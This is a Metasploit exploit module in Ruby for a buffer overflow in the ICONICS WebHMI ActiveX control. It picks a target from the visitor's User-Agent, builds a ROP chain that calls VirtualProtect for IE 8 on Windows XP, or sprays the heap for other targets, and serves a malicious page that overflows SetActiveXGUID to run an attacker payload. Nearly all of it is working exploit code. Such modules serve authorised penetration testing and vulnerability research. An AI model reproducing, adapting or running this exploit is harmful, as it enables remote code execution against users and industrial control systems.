ICONICS WebHMI ActiveX Buffer Overflow



##

# $Id: iconics_webhmi_setactivexguid.rb 12584 2011-05-11 20:45:54Z sinn3r $
##

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
    Rank = GoodRanking

    include Msf::Exploit::Remote::HttpServer::HTML

    def initialize(info={})
        super(update_info(info,
            'Name'           => "ICONICS WebHMI ActiveX Buffer Overflow",
            'Description'    => %q{
                    This module exploits a vulnerability found in ICONICS WebHMI's ActiveX control.
                By supplying a long string of data to the 'SetActiveXGUID' parameter, GenVersion.dll
                fails to do any proper bounds checking before this input is copied onto the stack,
                which causes a buffer overflow, and results arbitrary code execution under the context
                of the user.
            },
            'License'        => MSF_LICENSE,
            'Version'        => "$Revision: 12584 $",
            'Author'         =>
                [
                    'Scoot Bell <scott.bell[at]security-assessment.com>',
                    'Blair Strang <blair.strang[at]security-assessment.com>',
                    'sinn3r',  #Metasploit port
                ],
            'References'     =>
                [
                    ['OSVDB', '72135'],
                    ['URL', 'http://www.security-assessment.com/files/documents/advisory/ICONICS_WebHMI.pdf'],
                    ['URL', 'http://www.exploit-db.com/exploits/17240/'],
                ],
            'Payload'        =>
                {
                    'BadChars'         => "\x00",
                    'StackAdjustment'  => -3500,
                },
            'DefaultOptions'  =>
                {
                    'ExitFunction'         => "seh",
                    'InitialAutoRunScript' => 'migrate -f',
                },
            'Platform'       => 'win',
            'Targets'        =>
                [
                    [
                        'Automatic', {}
                    ],
                    [
                        'IE 6/7/8 on Windows XP SP3',
                        {
                            'Offset'       => 510,         #Offset to where ROP gadgets begin
                            'Ret'          => 0x770167b0,  #PUSH ESP; POP EBP; RETN 8
                            'Max'          => 4500,        #Max buffer size used
                        },
                    ],
                    [
                        'IE 7 on Windows Vista',
                        {
                            'Ret'          => 0x0c0c0c0c,  #Target spray
                            'blockSize'    => "0x1000",
                            'spraySize'    => "0x8500",
                            'Max'          => 4500,
                        },
                    ],
                ],
            'Privileged'     => false,
            'DisclosureDate' => "May 5 2011",
            'DefaultTarget'  => 0))
    end

    def junk
        return rand_text(4).unpack("L")[0].to_i
    end

    def repeat(addr, rep)
        arr = []
        rep.times { arr << addr }
        return arr
    end

    def on_request_uri(cli, request)

        my_target = ''
        agent = request.headers['User-Agent']

        if agent =~ /NT 5\.1/ and agent =~ /MSIE (6|7)\.\d/
            my_target = targets[2]
        elsif agent =~ /NT 6\.0/ and agent =~ /MSIE 7\.\d/
            my_target = targets[2]
        elsif agent =~ /NT 5\.1/ and agent =~ /MSIE 8\.0/
            my_target = targets[1]
        else
            send_not_found(cli)
            print_error("#{cli.peerhost}:#{cli.peerport} Unknown User-Agent")
            return
        end

        js = ''
        sploit = ''

        if my_target['spraySize'] == nil

            #ROP tekniq is only used against IE 8 + XP SP3 (ENG), since the gadgets are specific
            #to the service pack (non or fully patched)

            rop_gadgets = [
                my_target.ret,
                junk,
                0x7e45c67f,              #XCHG EAX,EBP; RETN (USER32.dll)
                repeat(junk, 2),
                0x7e440639,              #ADD ESP,10; POP EDI; POP ESI; POP EBX; RETN USER32.dll
                0x7c801ad4,              #Kernel32.VirtualProtect
                junk,                    #Initial ESP + 8 p1 = retaddr
                junk,                    #p2 - lpaddr
                junk,                    #p3 - size
                junk,                    #p4 - perms
                junk,                    #p5 - oldperms
                junk,
                #Return address
                0x7e4462ed,              #XCHG EAX,ECX; RETN (USER32.dll)
                0x7c902b50,              #MOV EDX, ECX; RETN (ntdll.dll)
                repeat(0x77aa2d96, 20),  #INC ECX * 21 (CRYPT32.dll)
                0x7c901726,              #MOV EAX, EDX; RETN (ntdll.dll)
                repeat(0x5b86a17b, 2),   #ADD EAX,7B; RETN * 2 (NETAPI32.dll)
                repeat(0x77c34fbd, 2),   #ADD EAX,5C; RETN * 2 (msvcrt.dll)
                0x7E76EA74,              #MOV DWORD PTR DS:[ECX],EAX; RETN (SXS.dll)
                #Shellcode pointer
                repeat(0x77aa2d96, 4),   #INC ECX * 4 (CRYPT32.dll)
                0x7E76EA74,              #MOV DWORD PTR DS:[ECX],EAX; RETN (SXS.dll)
                #Size  (0x400 bytes)
                repeat(0x77aa2d96, 4),   #INC ECX * 4 (CRYPT32.dll)
                0x7e721a99,              #POP EAX; RETN (SXS.dll)
                0x3BFFF9CB,              #Value to XOR
                0x7e7560b5,              #XOR EAX,3bfffdcb (SXS.dll)
                0x7E76EA74,              #MOV DWORD PTR DS:[ECX],EAX; RETN (RPCRT4.dll)
                #NewProtect
                repeat(0x77aa2d96, 4),   #INC ECX * 4 (CRYPT32.dll)
                0x7E456160,              #XOR EAX,EAX; RETN (USER32.dll)
                0x7E4193BA,              #ADD AL,3B (USER32.dll)
                repeat(0x7E442074, 5),   #INC EAX; RETN (USER32.dll)
                0x7E76EA74,              #MOV DWORD PTR DS:[ECX],EAX; RETN (USER32.dll)
                #OldProtect
                repeat(0x77aa2d96, 4),   #INC ECX * 4 (CRYPT32.dll)
                0x7e721a99,              #POP EAX (SXS.dll)
                0x10010570,              #EAX (Wriable memory)
                0x7E76EA74,              #MOV DWORD PTR DS:[ECX],EAX; RETN (USER32.dll)
                #Call VirtualProtect
                repeat(0x7E421AAF, 20),  #DEC ECX; RETN (USER32.dll)
                0x7E4462ED,              #XCHG EAX,ECX; RETN (USER32.dll)
                0x7E45F257,              #XCHG EAX,ESP; RETN (USER32.dll)
                repeat(junk, 2),         #Align shellcode
                ].flatten.pack('V*')

                sploit << Rex::Text.to_unescape(rand_text_alpha(my_target['Offset']), Rex::Arch.endian(target.arch))
                sploit << Rex::Text.to_unescape(rop_gadgets, Rex::Arch.endian(target.arch))
                sploit << Rex::Text.to_unescape(make_nops(80), Rex::Arch.endian(target.arch))
                sploit << Rex::Text.to_unescape(payload.encoded, Rex::Arch.endian(target.arch))
                sploit << rand_text_alpha(my_target['Max']-sploit.length)

        else

            #If we don't have to ROP, then we just spray against the rest of the targets

            shellcode = Rex::Text.to_unescape(payload.encoded, Rex::Arch.endian(target.arch))
            target_ret = [my_target.ret].pack('V')
            nops = Rex::Text.to_unescape(target_ret*4, Rex::Arch.endian(target.arch))
            sploit << Rex::Text.to_unescape(target_ret * (my_target['Max'] / 4), Rex::Arch.endian(target.arch))

            js_func_name        = rand_text_alpha(rand(6) + 3)
            js_var_blocks_name  = rand_text_alpha(rand(6) + 3)
            js_var_shell_name   = rand_text_alpha(rand(6) + 3)
            js_var_nopsled_name = rand_text_alpha(rand(6) + 3)
            js_var_index_name   = rand_text_alpha(rand(6) + 3)

            js = <<-EOS
            <script>
            function #{js_func_name}() {
                var #{js_var_blocks_name} = new Array();
                var #{js_var_shell_name} = unescape("#{shellcode}");
                var #{js_var_nopsled_name} = unescape("#{nops}");
                while (#{js_var_nopsled_name}.length < #{my_target['blockSize']}) { #{js_var_nopsled_name} += #{js_var_nopsled_name} };
                for (var #{js_var_index_name}=0; #{js_var_index_name} < #{my_target['spraySize']}; #{js_var_index_name}++) {
                    #{js_var_blocks_name}[#{js_var_index_name}] = [ "" + #{js_var_nopsled_name} + #{js_var_shell_name} ].join("");
                }
            }
            #{js_func_name}();
            </script>
            EOS

        end

        obj_id      = rand_text_alpha(rand(6) + 3)
        sploit_name = rand_text_alpha(rand(6) + 3)

        html = <<-EOS
        <html>
        <head>#{js}</head>
        <body>
        <object classid="clsid:D25FCAFC-F795-4609-89BB-5F78B4ACAF2C" id="#{obj_id}"></object>
        <script>
        var #{sploit_name} = unescape("#{sploit}");
        #{obj_id}.SetActiveXGUID(#{sploit_name});
        </script>
        </body>
        </html>
        EOS

        html = html.gsub(/^\t\t/, "")

        print_status("Sending malicious page to #{cli.peerhost}:#{cli.peerport}...")
        send_response(cli, html, {'Content-Type'=>'text/html'})

    end
end